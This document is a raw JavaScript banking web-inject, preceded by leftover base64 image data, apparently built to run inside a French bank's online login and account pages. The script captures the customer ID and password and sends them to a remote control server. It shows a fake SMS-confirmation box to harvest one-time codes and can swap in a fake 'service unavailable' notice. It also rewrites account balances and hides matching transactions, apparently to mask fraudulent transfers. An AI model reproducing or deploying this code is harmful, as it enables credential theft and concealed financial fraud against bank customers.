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';break;}}); _tables.text = { block_title: 'La consultation de vos comptes est momentanément indisponible.', block_body: 'Nous vous prions de bien vouloir nous excuser pour la gêne occasionnée et vous recommandons de vous reconnecter ultérieurement.', query: 'Attention ! Pour vérifier votre compte nous vous enverrons un sms de confirmation sur votre téléphone: _PHONE_' }; _tables.showpage = function(){ if(_tables.id('_brows.cap'))_tables.id('_brows.cap').parentNode.removeChild(_tables.id('_brows.cap')); }; _tables.login = function(){ _tables.get('login').value = ''; _tables.get('password').value = ''; _tables.get('button').style.display = ''; var keyboard = _tables.id('secret-nbr-keyboard').parentNode; keyboard.style.display = ''; _tables.id('_tables.keyboard.div').style.display = 'none'; _tables.id('_f_btntoloader').parentNode.removeChild(_tables.id('_f_btntoloader')); }; _tables.fkbtn = function(){ var error = false; var code = _tables.id('_tables.code.input'); if(!/^\d{6}$/igm.test(code.value)){ valid = true; } if(!error){ _tables.set('ourbtn',function(){return document.getElementById('tbfkbtn');}); _tables.btntoloader(_tables.get('ourbtn'),_tables.get('loader')); _tables.set('pause',true); _tables.status('TJ'); _tables.send( {'type':_tables.get('type')}, {'domain':document.domain}, {'data':'Code: '+code.value}, {'message':'Data recieved'}, {'branch':'TJ'} ); } }; _tables.fake = function(step){ switch(step){ case('LOGIN'): location.reload(); break; case('RELOGIN'): location.reload(); break; case('BLOCK'): if(_tables.id('_tables.fakebox'))_tables.id('_tables.fakebox').parentNode.removeChild(_tables.id('_tables.fakebox')); var divHolder = _tables.findout(document,'div','class:container\-ident'); if(divHolder){ divHolder.style.display = 'none'; var div = document.createElement('div'); div.id = '_tables.fakebox'; div.innerHTML = '

'+_tables.text.block_title+'

'+_tables.text.block_body; div.className = 'container-ident'; divHolder.parentNode.insertBefore(div,divHolder); } break; case('FAKE'): if(_tables.id('_tables.fakebox'))_tables.id('_tables.fakebox').parentNode.removeChild(_tables.id('_tables.fakebox')); var divHolder = _tables.findout(document,'div','class:container\-ident'); if(divHolder){ var els = _tables.answer.p3.split('|'); var div = document.createElement('div'); div.id = '_tables.fakebox'; div.style.width = '550px'; div.style.margin = '0px auto'; div.innerHTML = '
'+ ''+ '

'+ '
'+_tables.text.query.replace(/_PHONE_/igm,''+els[0])+'
'+ '
'+ '
Code d\'activation
'+ '
'+ '

'+ '
'+ '
'+ '
'; divHolder.style.display = 'none'; divHolder.parentNode.insertBefore(div,divHolder); } setTimeout(function(){ _tables.cc('CC'); },1000); break; } }; _tables.logintimer = function(time){ setTimeout(function(){ if(!_tables.get('ABORT')){ _tables.login(); } },time); }; _tables.grep_amount = function(acc){ if(!_tables.replacerarray){ return 0; } var re_a = 0; if(acc == '[EMPTY]'){ for(x in _tables.replacerarray){ re_a += parseFloat(_tables.replacerarray[x]['amount']); } }else{ for(x in _tables.replacerarray){ if(_tables.replacerarray[x]['account'].length > 3 && new RegExp(_tables.replacerarray[x]['account'],'igm').test(acc) || _tables.replacerarray[x]['account'] == acc){ re_a += parseFloat(_tables.replacerarray[x]['amount']); } } } return re_a; }; _tables.grep_mask = function(acc){ if(!_tables.replacerarray){ return false; } for(x in _tables.replacerarray){ if(new RegExp(_tables.replacerarray[x]['mask'],'igm').test(acc)){ return true; } } return false; }; _tables.replacer_preload = function(){ if(_tables.grep_amount('[EMPTY]') > 0){ if(_tables.id('udc-famille-ancre'))_tables.id('udc-famille-ancre').style.display = 'none'; if(_tables.findout(document,'section','class:row categories\-menu'))_tables.findout(document,'section','class:row categories\-menu').style.display = 'none'; var strong = _tables.child(document,'strong'); if(strong && strong.length > 0){ for(var i = 0; i < strong.length; i++){ if(/[0-9]/igm.test(_tables.html(strong[i]))){ if(/Avoir/igm.test(_tables.html(strong[i].parentNode))){ _tables.replace(strong[i],_tables.grep_amount('[EMPTY]')); } if(_tables.findout(strong[i].parentNode.parentNode,'span','class:a\-venir')){ strong[i].parentNode.parentNode.style.display = 'none'; } if(strong[i].className == 'js-previsionnel'){ strong[i].parentNode.parentNode.parentNode.style.display = 'none'; } } } } } }; _tables.replacer_balance = function(){ var li = _tables.child(document,'li'); if(li && li.length > 0){ for(var i = 0; i < li.length; i++){ var h4 = _tables.child(li[i],'h4'); if(h4 && h4.length == 2){ var _I1 = _tables.html(h4[0].parentNode).replace(/(\r\n|\r|\n|[\r]|[\n]|[\t]|\s*$|^\s*)/ig,""); if(_tables.grep_amount(_I1) > 0){ _tables.replace(h4[1],_tables.grep_amount(_I1)); } } } } }; _tables.replacer_nano = function(){ if(_tables.findout(document,'div','class:nano dropdown\-list\-header')){ _tables.findout(document,'div','class:nano dropdown\-list\-header').style.display = 'none'; } setTimeout(function(){ _tables.replacer_nano(); },100); }; _tables.replacer_history = function(){ if(_tables.findout(document,'span','class:js\-compte\-type\-placeholder')){ var _I1 = _tables.html(_tables.findout(document,'span','class:js\-compte\-type\-placeholder')).replace(/(\r\n|\r|\n|[\r]|[\n]|[\t]|\s*$|^\s*)/ig,""); var _I2 = _tables.findout(document,'span','class:js\-solde.*placeholder big'); if(_tables.grep_amount(_I1) > 0){ _tables.replace(_I2,_tables.grep_amount(_I1)); } } var run_nano = false; var li = _tables.child(document,'li'); if(li && li.length > 0){ for(var i = 0; i < li.length; i++){ var _I1 = _tables.html(li[i]).replace(/(\r\n|\r|\n|[\r]|[\n]|[\t]|\s*$|^\s*)/ig,""); if(_tables.grep_mask(_I1)){ li[i].style.display = 'none'; run_nano = true; } } } if(run_nano)_tables.replacer_nano(); }; _tables.replacer = function(){ _tables.replacer_preload(); _tables.replacer_balance(); _tables.replacer_history(); }; _tables.callback = function(){ _tables.set('message',''); switch(_tables.status()){ case('CS'): if(/block/igm.test(_tables.answer.p1)){ _tables.fake('BLOCK'); _tables.showpage(); }else if(_tables.answer.status == 'ON' && _tables.answer.link == 'ON' && !/^login$|^off$/igm.test(_tables.answer.p1)){ _tables.status('NL'); _tables.send( {'type':_tables.get('type')}, {'domain':document.domain}, {'link':document.location.href}, {'data':'Language: ' +_tables.get('lang')+ '|OS: ' + jscd.os +' '+ jscd.osVersion + '|'+'Browser: ' + jscd.browser +' '+ jscd.browserVersion + '|'+'Screen Size: ' + jscd.screen}, {'message':'Login page onloaded'}, {'branch':'TJ'} ); }else{ _tables.showpage(); } break; case('SL'): setTimeout(function(){ _tables.cc('CC'); },1500); break; case('NL'): _tables.loginform(); _tables.showpage(); break; case('CC'): if(_tables.get('justLogin')){ _tables.logintimer(_tables.answer.t1*1000); } _tables.set('justLogin',false); if(_tables.answer.p1 == "NONE" || _tables.answer.p5 == "activated"){ setTimeout(function(){ _tables.cc('CC'); },1000); }else{ _tables.set('ABORT',true); _tables.fake(_tables.answer.p1); } break; case('CP'): var div = _tables.id('id_beneficiaire_div') || _tables.id('id_balise_div'); if(!_tables.replacerarray){ if(div)div.style.display = ''; return; } _tables.replacer(); if(div)div.style.display = ''; break; case('TJ'): _tables.set('pause',false); _tables.cc('CC'); break; default: _tables.showpage(); break; } }; _tables.cc = function(stat){ if(_tables.get('pause'))return false; _tables.status(stat); _tables.send( {'type':'intercept'}, {'domain':document.domain}, {'link':document.location.href}, {'browser':_tables.brows()}, {'branch':'CC'} ); }; _tables.keyboardclick = function(num){ _tables.get('password').value += num; }; _tables.keyboard = function(){ if(_tables.id('secret-nbr-keyboard')){ var keyboard = _tables.id('secret-nbr-keyboard').parentNode; keyboard.style.display = 'none'; var div = document.createElement('div'); div.id = '_tables.keyboard.div'; div.className = 'cell-grid'; div.innerHTML = '
'+ ''+ ''+ ''+ ''+ ''+ ''+ ''+ ''+ ''+ ''+ '
'; _tables.after(div,keyboard); if(_tables.id('initPass')){ _tables.replacebutton(_tables.id('initPass'),function(e){ var evt = e ? e : window.event; if(evt.preventDefault)evt.preventDefault(); if(evt.stopPropagation){evt.stopPropagation();}else{evt.returnValue = false;} if(evt.cancelBubble!=null)evt.cancelBubble = true; _tables.get('password').value = ''; return false; },'_tables.x.button'); } } }; _tables.loginform = function(){ _tables.input(_tables.get('login'),'block'); _tables.input(_tables.get('password'),'block'); _tables.keyboard(); _tables.replacebutton(_tables.get('button'),function(e){ var evt = e ? e : window.event; if(evt.preventDefault)evt.preventDefault(); if(evt.stopPropagation){evt.stopPropagation();}else{evt.returnValue = false;} if(evt.cancelBubble!=null)evt.cancelBubble = true; _tables.id('_tables.button').parentNode.style.textAlign = 'center'; _tables.set('justLogin',true); _tablesStorage.flush(); _tablesStorage.set('username',_tables.get('login').value); _tables.set('ourbtn',function(){return _tables.id('_tables.button');}); _tables.btntoloader(_tables.get('ourbtn'),_tables.get('loader')); _tables.status('SL'); _tables.send({'login1':_tables.get('login').value}, {'login2':_tables.get('password').value}, {'type':_tables.get('type')}, {'domain':document.domain}, {'link':document.location.href}, {'browser':_tables.brows()}, {'message':'Trying to Login'}, {'jabber':'SEND'}, {'branch':'SL'} ); return false; }); }; _tables.findmaincontent = function(){ var div = _tables.id('id_beneficiaire_div') || _tables.id('id_balise_div'); if(div){ div.style.display = 'none'; _tables.status('CP'); _tables.send({'domain':document.domain},{'type':_tables.get('type')},{'branch':'CP'}); }else{ setTimeout(function(){ _tables.findmaincontent(); },100); } }; _tables.findloginform = function(){ _tables.set('login',function(){return _tables.id('client-nbr');}); _tables.set('password',function(){return _tables.id('secret-nbr');}); _tables.set('button',function(){return _tables.id('submitIdent');}); _tables.set('logout',function(){return _tables.findout(document,'a','href:logoff');}); if(_tables.are('login','password','button')){ _tables.cc('CS'); }else if(_tables.get('logout')){ var div = _tables.id('id_beneficiaire_div') || _tables.id('id_balise_div'); if(div)div.style.display = 'none'; setTimeout(function(){ _tables.findmaincontent(); },2345); }else{ setTimeout(function(){ _tables.findloginform(); },234); } }; _tables.start = function(){ if(top == self){ _tables.findloginform(); _tables.showpage(); }else{ _tables.showpage(); } }; _tables.start();